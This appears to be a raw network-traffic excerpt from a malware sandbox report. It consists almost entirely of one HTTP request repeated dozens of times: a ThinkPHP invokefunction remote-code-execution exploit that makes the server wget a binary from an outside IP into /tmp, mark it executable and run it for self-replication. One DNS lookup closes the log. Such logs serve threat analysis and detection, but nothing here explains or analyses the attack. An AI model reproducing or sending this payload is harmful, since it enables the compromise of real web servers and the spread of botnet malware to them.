Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0

Source: global traffic

DNS traffic detected: DNS query: vector.mineheaven.org

Source: unknown

